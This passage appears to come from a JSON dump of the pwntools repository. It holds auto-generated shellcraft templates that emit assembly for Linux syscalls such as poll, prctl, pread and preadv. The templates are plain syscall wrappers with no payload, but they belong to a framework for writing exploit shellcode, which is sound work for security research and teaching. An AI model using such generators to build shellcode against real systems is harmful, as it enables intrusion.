stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pkey_free']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pkey_free'])\n%>\n    /* pkey_free(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pkey_mprotect.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pkey_mprotect(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall pkey_mprotect.\n\nSee 'man 2 pkey_mprotect' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pkey_mprotect']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pkey_mprotect'])\n%>\n    /* pkey_mprotect(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/poll.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>poll(fds, nfds, timeout) -> str\n\nInvokes the syscall poll.\n\nSee 'man 2 poll' for more information.\n\nArguments:\n    fds(pollfd*): fds\n    nfds(nfds_t): nfds\n    timeout(int): timeout\nReturns:\n    int\n</%docstring>\n<%page args=\"fds=0, nfds=0, timeout=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fds', 'nfds', 'timeout']\n    argument_values = [fds, nfds, timeout]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_poll']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_poll'])\n%>\n    /* poll(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ppoll.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ppoll(fds, nfds, timeout, ss) -> str\n\nInvokes the syscall ppoll.\n\nSee 'man 2 ppoll' for more information.\n\nArguments:\n    fds(pollfd*): fds\n    nfds(nfds_t): nfds\n    timeout(timespec*): timeout\n    ss(sigset_t*): ss\nReturns:\n    int\n</%docstring>\n<%page args=\"fds=0, nfds=0, timeout=0, ss=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fds', 'nfds', 'timeout', 'ss']\n    argument_values = [fds, nfds, timeout, ss]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_ppoll']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ppoll'])\n%>\n    /* ppoll(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ppoll_time64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ppoll_time64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall ppoll_time64.\n\nSee 'man 2 ppoll_time64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_ppoll_time64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ppoll_time64'])\n%>\n    /* ppoll_time64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/prctl.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>prctl(option, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall prctl.\n\nSee 'man 2 prctl' for more information.\n\nArguments:\n    option(int): option\n    vararg(int): vararg\nReturns:\n    int\n</%docstring>\n<%page args=\"option=0, vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['option', 'vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [option, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_prctl']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_prctl'])\n%>\n    /* prctl(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pread.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pread(fd, buf, nbytes, offset) -> str\n\nInvokes the syscall pread.\n\nSee 'man 2 pread' for more information.\n\nArguments:\n    fd(int): fd\n    buf(void*): buf\n    nbytes(size_t): nbytes\n    offset(off_t): offset\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, buf=0, nbytes=0, offset=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'buf', 'nbytes', 'offset']\n    argument_values = [fd, buf, nbytes, offset]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pread']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pread'])\n%>\n    /* pread(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pread64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pread64(fd, buf, nbytes, offset) -> str\n\nInvokes the syscall pread64.\n\nSee 'man 2 pread64' for more information.\n\nArguments:\n    fd(int): fd\n    buf(void*): buf\n    nbytes(size_t): nbytes\n    offset(off64_t): offset\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, buf=0, nbytes=0, offset=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'buf', 'nbytes', 'offset']\n    argument_values = [fd, buf, nbytes, offset]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pread64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pread64'])\n%>\n    /* pread64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/preadv.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>preadv(fd, iovec, count, offset) -> str\n\nInvokes the syscall preadv.\n\nSee 'man 2 preadv' for more information.\n\nArguments:\n    fd(int): fd\n    iovec(iovec*): iovec\n    count(int): count\n    offset(off_t): offset\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, iovec=0, count=0, offset=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'iovec', 'count', 'offset']\n    argument_values = [fd, iovec, count, offset]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_preadv']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_preadv'])\n%>\n    /* preadv(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/preadv2.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>preadv2(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall preadv2.\n\nSee 'man 2 preadv2' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The 